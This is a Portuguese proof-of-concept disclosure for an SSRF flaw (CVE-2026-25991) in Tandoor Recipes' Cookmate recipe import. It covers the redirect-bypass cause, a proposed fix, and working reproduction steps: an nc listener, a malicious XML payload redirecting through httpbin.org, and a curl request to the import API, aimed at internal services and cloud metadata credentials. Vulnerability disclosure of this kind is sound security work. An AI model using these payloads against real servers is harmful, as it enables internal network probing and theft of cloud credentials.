
Prova de conceito de exploit para CVE-2026-25991, um SSRF cego na importação Cookmate do Tandoor Recipes, permitindo que usuários autenticados acessem recursos internos.
Prova de Conceito para SSRF via Importação de Receitas
Divulgação: Originalmente reportado por mim via GHSA-j6xg-85mh-qqf7
⚠️ Uso exclusivo para pentest/pesquisa autorizados.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-25991 |
| Severidade | 🔴 Alta |
| Pontuação CVSS | 7.7 |
| Vetor CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Produto Afetado | Tandoor Recipes ≤ 2.5.0 |
| Versão Corrigida | 2.5.1 |
| Advisory | GHSA-j6xg-85mh-qqf7 |
Descobri uma vulnerabilidade de Server-Side Request Forgery (SSRF) Cego no recurso de importação de receitas Cookmate do Tandoor Recipes. A aplicação não valida a URL de destino após seguir redirecionamentos HTTP, permitindo que qualquer usuário autenticado (incluindo usuários padrão sem privilégios administrativos) force o servidor a se conectar a recursos internos ou externos arbitrários.
Esta vulnerabilidade pode ser explorada para escanear portas de rede interna, acessar metadados de instância em nuvem (por exemplo, AWS/GCP Metadata Service) ou divulgar o endereço IP real do servidor.
A vulnerabilidade está em cookbook/integration/cookmate.py, dentro da classe de integração Cookmate.
imageurl.validate_import_url (em cookbook/helper/HelperFunctions.py), que bloqueia corretamente faixas de IP privadas (por exemplo, 127.0.0.1, 10.0.0.0/8).requests.get(url) para baixar a imagem. Por padrão, a biblioteca requests segue redirecionamentos (allow_redirects=True).
A função validate_import_url verifica apenas a URL inicial, mas não valida o destino final após ocorrer um redirecionamento.Trecho de Código Vulnerável (cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# CRÍTICO: requests.get segue redirecionamentos por padrão, contornando a verificação inicial.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
Um atacante pode usar um serviço externo (como httpbin.org) para redirecionar a solicitação para um endereço interno restrito (por exemplo, http://127.0.0.1:80/ ou http://169.254.169.254/).
Crucialmente, a AppImportView (cookbook/views/api.py) permite explicitamente permissões CustomIsUser, o que significa que QUALQUER usuário registrado pode acionar esta vulnerabilidade. Nenhum direito administrativo especial é necessário.
Pré-requisitos:
nc).Passos para Reproduzir:
Configure um listener (Máquina do Atacante):
Abra um terminal e inicie o nc para escutar conexões de entrada. Isso simula um serviço interno ou servidor controlado pelo atacante.
nc -lvnp 9999
Crie um Payload XML Malicioso:
Crie um arquivo chamado payload.xml. Substitua <YOUR_IP> pelo seu endereço IP público (ou IP acessível).
Este payload usa httpbin.org para contornar a verificação inicial de IP privado e redirecionar para o seu listener.
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- Redireciona para serviço interno ou listener do atacante -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

Crie um arquivo ZIP: O Tandoor exige que o XML esteja dentro de um arquivo ZIP.
zip payload.zip payload.xml
Execute o Exploit (via API):
Faça login como Usuário Padrão (não administrador) para obter o cookie de sessão e o token CSRF.
Em seguida, envie uma solicitação POST para /api/import/:
(Substitua <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> pelos valores reais)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc). Você verá uma solicitação HTTP GET de entrada do servidor Tandoor.
Isso confirma que o servidor, agindo em nome de um usuário padrão, conectou-se a um recurso externo/interno arbitrário.
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/) para roubar credenciais IAM, levando ao comprometimento total da infraestrutura.Desative o seguimento automático de redirecionamentos na chamada requests.get ou implemente validação rigorosa para URLs de redirecionamento.
Diff (Correção Proposta):
# cookbook/integration/cookmate.py
# Opção 1: Desativar Redirecionamentos (Recomendado)
response = requests.get(url, allow_redirects=False)
# Opção 2: Validar Redirecionamentos
# (Lógica complexa necessária para verificar cada salto de redirecionamento contra faixas de IP privadas)